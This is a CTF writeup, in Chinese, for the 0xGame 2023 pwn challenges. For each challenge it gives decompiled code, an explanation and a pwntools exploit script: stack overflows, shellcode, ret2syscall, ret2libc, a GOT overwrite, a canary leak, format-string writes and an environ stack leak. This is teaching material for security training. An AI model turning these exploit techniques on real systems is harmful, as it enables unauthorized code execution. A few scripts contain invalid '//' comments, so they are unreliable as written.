0xGame 2023 Writeup

2023-10-30
CTF

Pwn

[Week1] 找不到且不对劲的flag

这个黑不溜秋的框框是啥?

这是flag吗?

我flag呢?

根据题目描述,猜测 flag 被藏到了隐藏文件或者隐藏文件夹中。

$ nc 8.130.35.16 51000
$ ls -a
.
..
.bash_logout
.bashrc
.profile
.secret
bin
flag
lib
lib32
lib64
libexec
libx32
netcat
$ ls .secret
flag
$ cat .secret/flag
0xGame{N3t_cA7_M30w_9dn23hcx8}

[Week 1] 永远进不去的后门

后门就在那里,但你就是进不去

气不气气不气

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+8h] [rbp-38h]

  bufinit(argc, argv, envp);
  puts("Welcome to 0xGame2023!");
  puts("Tell me sth interesting, and I will give you what you want.");
  read(0, buf, 0x100uLL);
  if ( v5 % 2023 == 2023 )
    system("/bin/sh");
  else
    puts("Not that interesting. Bye.");
  return 0;
}

read 存在溢出漏洞,直接覆盖掉 ret 地址即可得到 shell。

from pwn import *

conn = remote("8.130.35.16", 51002)
conn.recvuntil("want.\n")
conn.sendline(b"a" * 0x48 + p64(0x401298))
conn.interactive()

# 0xGame{W3lC0me_4b0rd_PWN_L4nd!_k20cu2c7}

[Week 1] 随便乱搞的shellcode

shell壳code码,这怎么就乱搞了?

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char *buf; // [rsp+8h] [rbp-8h]
  void (*bufa)(void); // [rsp+8h] [rbp-8h]

  bufinit(argc, argv, envp);
  buf = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Now show me your code:");
  read(0, buf, 0x100uLL);
  puts("Implementing security mechanism...");
  v3 = time(0LL);
  srand(v3);
  bufa = (void (*)(void))&buf[rand() % 256];
  close(1);
  puts("Done!");
  bufa();
  return 0;
}

程序会随机执行 buf 中的一条命令,可以把 buf 的前面都填充 nop 指令,将 shellcode 放在 buf 的末尾来增加成功执行的概率。

nop:空指令(0x90),占用一个指令的时间,但什么都不做,并继续执行接下来的指令。

str.rjust(width[, fillchar]):将字符串右对齐到 width 长度,并在左侧填充 fillchar。

因为程序将标准输出流关闭了,所以得到 shell 以后可以执行 exec 1>&2 来将默认标准输出流重定向到标准错误流输出。

from pwn import *

context(os="linux", arch="amd64")

conn = remote("8.130.35.16", 51003)
conn.recvuntil("code:\n")
conn.sendline(asm(shellcraft.sh()).rjust(0x100, b"\x90"))
conn.interactive()

# 0xGame{Try_to_Wr1t3_by_yourse1f!_an9d02cy}

[Week1] 高端的syscall

系统调用是个好东西

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  bufinit(argc, argv, envp);
  puts("I leave something interesting in this program.");
  puts("Now try to find them out!");
  puts("Input: ");
  gets(v4);
  return 0;
}

程序开启了 NX 保护并且没有后门函数,可以自己手动构造 syscall 来得到 shell。

注意到程序还提供了几个辅助函数用来构造 syscall:

set_rax

.text:0000000000401196                 endbr64
.text:000000000040119A                 push    rbp
.text:000000000040119B                 mov     rbp, rsp
.text:000000000040119E                 mov     [rbp-4], edi
.text:00000000004011A1                 mov     eax, [rbp-4]
.text:00000000004011A4                 pop     rbp
.text:00000000004011A5                 retn

gadget

.text:00000000004011AE                 syscall                 ; LINUX -

几个知识点:

  • syscall 会根据 rax 中存储的系统调用号来执行对应的系统调用函数。
  • __lib_csu_init 中有两个方便的 gadgets 可以供我们使用。
  • 过程中需要的字段可以通过 gets 存储到 .bss 段中使用。
from pwn import *

context(arch="amd64", os="linux")

# s = gdb.debug("./ret2syscall", "break main")
s = process("./ret2syscall")
elf = ELF("./ret2syscall")

setrax = 0x401196
syscall = 0x4011AA
csu1 = 0x4012DA
csu2 = 0x4012C0
rdi = 0x4012E3

bss = 0x404500
execve = 0x3B

payload = flat([
    b"a" * 0x18,          // 覆盖到 retn 地址
    rdi, bss,             // 将 rdi 设置为 bss 起始地址
    elf.plt.gets,         // 执行 gets,将自定义数据写入 rdi 指向的值
    rdi, execve,          // 将 rdi 设置为 execve 的系统调用号
    setrax,               // 将 rax 的值设置为 rdi 指向的值

    csu1, 0, 0,  bss, 0, 0, bss+8,
    csu2
])

s.recvuntil("Input: ")
s.sendline(payload)
s.sendline(b"/bin/sh\0"+p64(syscall))
s.interactive()

[Week1] 我后门呢

aka ret2libc

目前只要知道,parital relro 下,调用库函数一次之后,got 表中会存放 libc 相关地址即可。剩余内容可以参考 ctf-wiki。

题目没有给后门函数,并且只开启了 NX 保护。此外,题目还提供了 libc.so.6 附件,可以使用 ret2libc。

首先,使用 ida 打开 libc.so.6 文件,可以得到版本为 2.31-0ubuntu9.9_amd64。这个版本在 glibc-all-in-one 中无法直接搜索到,可以在 https://launchpad.net/ubuntu/+source/glibc/2.31-0ubuntu9.9 上下载。下载了对应的 deb 文件后,使用 glibc-all-in-one 的 extract 工具提取出对应的 ld-linux-x86-64.so.2,并使用 patchelf ./ret2libc --set-interpreter path/to/ld-linux-x86-64.so.2patchelf ./ret2libc --add-needed path/to/libc.so.6 来指定正确的链接器和库。

之后,开始分析程序:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  bufinit(argc, argv, envp);
  puts("There won't be shell for you!");
  puts("Now give me your input:");
  read(0, buf, 0x100uLL);
  if ( strlen(buf) > 0x20 )
  {
    puts("No chance for you to overflow!");
    exit(1);
  }
  puts("See you next time!");
  return 0;
}

可以发现,存在一个 read 溢出点。strlen() 判断字符串长度的方式是一直读取直到遇到 \0,所以我们直接往字符串前面填入 \0 即可。

from pwn import *
context(arch="amd64", os="linux")
io = process('./ret2libc', 'b main')

elf = ELF('./ret2libc')
libc = ELF('./libc.so.6')

rdi = 0x401333  # pop rdi(另见 ret2csu)

payload1 = flat([
    b'\0'*0x28,
    # 泄漏 got 表
    rdi, elf.got.read,
    elf.plt.puts,
    # 重新执行 main 函数以继续利用 read 函数
    elf.sym.main
])

io.recvuntil(b'input:\n')
io.sendline(payload1)
io.recvuntil(b'time!\n')

# u64() 接收一个 8 字节字符序列并解包为对应的地址
# 地址的高位一定是 \0,比如 0x00007f706a508fc0,输出时会被 puts 截断
# 所以可以保证 recvline() 得到的字符序列去掉行尾 \n 后一定是 8 字节以内的
# 最后使用 ljust(8, b"\0")) 向高位补齐 \0 即可
# 得到的地址是真实的 read 地址,减去 read 在 libc 中的偏移量即可得到 libc 基址
libc.address = u64(io.recvline()[:-1].ljust(8, b"\0")) - libc.sym.read

payload2 = flat([
    b'\0'*0x28,
    # system 函数中有使用到 movups xmmword 相关汇编指令,需要对栈进行对齐
    # 这里 rdi + 1 是一个 retn 语句,根据 rop 链的特性,可以返回到自己
    # 从而让栈多了一字节,实现对齐操作(另见栈对齐)
    rdi + 1,
    # libc.search 搜索 elf 文件中的文本,返回的是一个迭代器
    # 使用 next() 得到第一个 /bin/sh 所在的地址
    rdi, next(libc.search(b'/bin/sh')),
    # 当设置了 libc.address 后,plt, got, sym 的地址均会自动更新
    libc.sym.system
])

io.recvuntil(b'input:')
io.sendline(payload2)

io.interactive()

[Week1] got-it

延迟绑定,got表里存的究竟是啥

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  bufinit(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 8227 )
      break;
    if ( v3 <= 8227 )
    {
      if ( v3 == 4 )
      {
        puts("Thanks for using!");
        exit(0);
      }
      if ( v3 <= 4 )
      {
        switch ( v3 )
        {
          case 3:
            edit();
            break;
          case 1:
            add();
            break;
          case 2:
            show();
            break;
        }
      }
    }
  }
  trick();
}

可以看出,这一题是一个简单的管理系统,输入 1 可以写入数据,2 可以查看数据,8227(0x2023)可以执行 trick() 函数。

int show()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Input student id: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 15 )
    result = printf("Student name: %s\n", &list[8 * v1]);
  else
    result = puts("Invalid id!");
  return result;
}
int add()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Input student id: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 15 )
    return puts("Invalid id!");
  printf("Input student name: ");
  return read(0, (char *)&list + 8 * v1, 8uLL);
}
void __noreturn trick()
{
  exit((int)"/bin/sh");
}

仔细观察,发现 show()add() 均只对 id 的最大值进行了限制,没有对最小值进行限制。list 位于 .bss 段,可以通过写入负数来访问 got 表。trick() 中的 exit() 函数已经给定了 /bin/sh 参数,如果我们可以把 exit() 劫持成 system() 函数,即可得到权限。

from pwn import *

context(os='linux', arch='amd64')

elf = ELF('./got-it')
libc = ELF('./libc.so.6')

io = process('./got-it')

io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('id: ')
# show 泄漏 got 表
io.sendline(str(int((elf.got.puts-elf.sym.list)/8)))
io.recvuntil('name: ')
libc.address = u64(io.recvline()[:-1].ljust(8, b'\0'))-libc.sym.puts

io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('id: ')
io.sendline(str(int((elf.got.exit-elf.sym.list)/8)))
io.recvuntil('name: ')
# 把 exit 劫持成 system
io.sendline(p64(libc.sym.system))

io.recvuntil('>> ')
io.sendline('8227')

io.interactive()

[Week2] ezcanary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+Fh] [rbp-21h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  bufinit(argc, argv, envp);
  puts("Ur name plz?");
  read(0, buf, 0x100uLL);
  printf("Hello, %s. Is that right?", buf);
  v4 = getchar();
  if ( v4 == 121 || v4 == 89 )
  {
    puts("Then new name plz.");
    read(0, buf, 0x100uLL);
    printf("Hello, %s.", buf);
  }
  puts("Wish you a wonderful day. Bye.");
  return 0;
}

题目开启了 Canary 保护,并且提供了后门函数。

Canary 保护在进入函数时会在 ebp 前方添加一个 8 字节的随机数,当程序将要返回时,会比对随机数是否发生改变。如果发生了改变,说明被栈溢出修改了 retn 地址,从而结束进程,保护程序。为了防止 Canary 被意外输出,随机数的最低位始终是 \0。因此,如果程序存在一次可以写入后读取的操作,就可以一直覆盖到 Canary 的第一个 \0,从而得到 Canary 值,进行栈溢出。

Stack
canary
ebp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = process('./pwn')
elf = ELF('./pwn')

rdi = 0x40138B

io.recvuntil('plz?')
io.send(b'a'*0x19)
io.recvuntil(b'a'*0x19)  # 覆盖到 canary 的第一个字节
canary = b'\0'+io.recv(7)  # canary 的第一个字节一定是 \0
payload = flat([
    b'a'*0x18,
    canary,
    0,
    rdi+1,  # retn 用于栈对齐
    rdi,
    elf.search(b'/bin/sh').__next__(),
    elf.plt.system
])
io.recvuntil('right?')
io.send('y')
io.recvuntil('plz.')
io.send(payload)
io.interactive()

[Week2] fmt1

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  int v5; // [rsp+100h] [rbp-10h] BYREF
  int v6; // [rsp+104h] [rbp-Ch]
  int *v7; // [rsp+108h] [rbp-8h]

  bufinit(argc, argv, envp);
  v7 = &v5;
  v6 = 0x2023;
  v5 = 0x20FF;
  printf("Input your content: ");
  read(0, buf, 0x100uLL);
  printf(buf);
  if ( v6 == v5 )
  {
    puts("Congratulations! Now here is your shell!");
    puts("And welcome to format string world!");
    system("/bin/sh");
  }
  return 0;
}

程序直接将用户输入的文本作为格式化字符串传入了 printf 函数中,存在格式化字符串漏洞。

格式化字符串中存在以下可以写入输出字符数量的格式符:

  • 写入 4 字节:%n
  • 写入 2 字节:%hn
  • 写入 1 字节:%hhn

此外,在 POSIX 拓展中存在可以指定参数顺序的格式符:%n$,代表使用第 n 个参数。

根据 64 位函数调用传参约定,我们可以选择一个指定的参数顺序来指定要写入的地址指针。即分别为 rsi, rdx, rcx, r8, r9, rsp, rsp+8, ...

在这里,我们想要将 v5 的值更改为 0x2023,首先要得到 v5 的地址,即为 v7 的值。所以我们要写入的地址存储在 rsp+108h 中,也就是第 6+0x108/8=39 个参数。要写入的数据是 0x23,也就是 35。所以构造 payload 即为 %35c%39$hhn

[Week2] fmt2

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  bufinit(argc, argv, envp);
  while ( 1 )
  {
    do
    {
      printf("Input your content: ");
      read(0, buf, 0x100uLL);
      printf(buf);
    }
    while ( a != 0xDEADBEEF );
    system("/bin/sh");
  }
}

需要使用格式化字符串修改 bss 段上的数据 a。这里使用 pwntools 中提供的自动化工具 FmtStr 进行读取和写入栈操作。首先需要提供一个函数,用于对进程进行输入输出。因为程序提供了一个循环,所以可以直接写上输入输出。如果程序没有提供循环,需要在函数内每次重新启动或连接。

def exec_fmt(payload):
    io.recvuntil('content:')
    io.sendline(payload)
    return io.recvline(timeout=1)

因为程序最后执行 payload 的时候不会输出换行符,所以这里加上一个 timeout=1 避免一直等待接收数据。

之后,即可使用 FmtStr(exec_fmt) 创建一个自动化格式字符串对象进行操作。

使用 auto.leak_stack(offset) 可以读取某个参数的值。使用 auto.write(addr, data)auto.execute_writes() 可以批量执行写入。

因为 main 函数会被 __libc_start_main 调用,而 __libc_start_main 中存在 main 函数的地址。所以我们可以使用 gdb 在 rbp 附近寻找。在这里就是第 (rbp+0x28-rsp)/8+6=43 个参数。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

io = process('./fmt2')
elf = ELF('./fmt2')

def exec_fmt(payload):
    io.recvuntil('content:')
    io.sendline(payload)
    return io.recvline(timeout=1)

auto = FmtStr(exec_fmt)
elf.address = auto.leak_stack(43) - elf.sym.main

auto.write(elf.sym.a, 0xdeadbeef)
auto.execute_writes()

io.interactive()

[Week2] leak-env

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[1] = (void *)__readfsqword(0x28u);
  bufinit(argc, argv, envp);
  printf("Here's your gift: %p\n", &printf);
  puts("You have a chance to arbitrary read 8 bytes.");
  printf("Where do you want to read?");
  __isoc99_scanf("%p", buf);
  printf("Here you are: ");
  write(1, buf[0], 8uLL);
  putchar(10);
  puts("Now show me your magic.");
  printf("Where do you want to place it?");
  __isoc99_scanf("%p", buf);
  puts("Now place it.");
  read(0, buf[0], 0x30uLL);
  printf("Good luck!");
  return 0;
}

题目提供了 libc 的地址,需要得到栈的地址来实现栈溢出。这里通过 libc 中的 __environ 环境变量来得到栈地址。

__environ 是一个全局变量,他是一个环境变量数组,其指向的数据在栈上,可以通过这种方法得到栈的地址。

from pwn import *

context(arch="amd64", os="linux", log_level="debug")

libc = ELF("../dist/libc.so.6")
io = gdb.debug("./leakenv")

io.recvuntil(b"Here's your gift: ")
libc.address = eval(io.recvline()[:-1])-libc.sym.printf
environ = libc.sym.__environ
io.sendlineafter(b"Where do you want to read?", hex(environ))
io.recvuntil(b"Here you are: ")
stack = u64(io.recv(8))
ret = stack-0x100
io.sendlineafter(b"Where do you want to place it?", hex(ret))
io.sendafter(b"Now place it.", flat([
    libc.address+0x23b63, 0, 0, 0, 0,  // r12 must be NULL
    libc.address+0xe3afe,              // one_gadget
]))

io.interactive()

[Week3] all-in-files

一切皆文件是一种哲学

首先打开ida分析题目给的二进制文件。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  char v5[4]; // [rsp+8h] [rbp-8h] BYREF
  int fd; // [rsp+Ch] [rbp-4h]

  bufinit(argc, argv, envp);
  printf("Input filename to open: ");
  filename[(int)read(0, filename, 0x1FuLL)] = 0;
  printf("Input file id to read from: ");
  __isoc99_scanf("%d", v5);
  printf("Input file id to write to: ");
  __isoc99_scanf("%d", &v4);
  close(1);
  fd = open(filename, 0);
  if ( fd != -1 )
  {
    read(fd, &filebuf, 0x1FFuLL);
    write(v4, &filebuf, 0x1FFuLL);
    exit(0);
  }
  puts("Failed to open file!");
  return 0;
}

大致思路是读取 /flag 中的内容,然后输出到屏幕。注意到标准输出流(fd=1)被关闭了,可以用标准错误流(fd=2)代替。

Input filename to open: /flag
Input file id to read from: 3
Input file id to write to: 2

发现程序并没有返回任何内容。打开gdb进行调试,发现在读入 filename 的时候,读取的是 /flag\n,最终fd的值为 -1,推测是因为末尾的\n导致无法读取成功,最后因为标准输出流被关闭了,所以不会输出 Failed to open file! 提示用户。

使用 pwntools 来输入 /flag\0,保证不会因为 \n 的原因而无法读取文件:

from pwn import *

conn = remote("8.130.35.16", 53000)

conn.recvuntil(b"Input filename to open: ")
conn.sendline(b"/flag\0")
conn.recvuntil(b"Input file id to read from: ")
conn.sendline(b"3")
conn.recvuntil(b"Input file id to write to: ")
conn.sendline(b"2")
print(conn.recvline())

# 0xGame{A11_1s_files_H3R3_1n9d2h9c}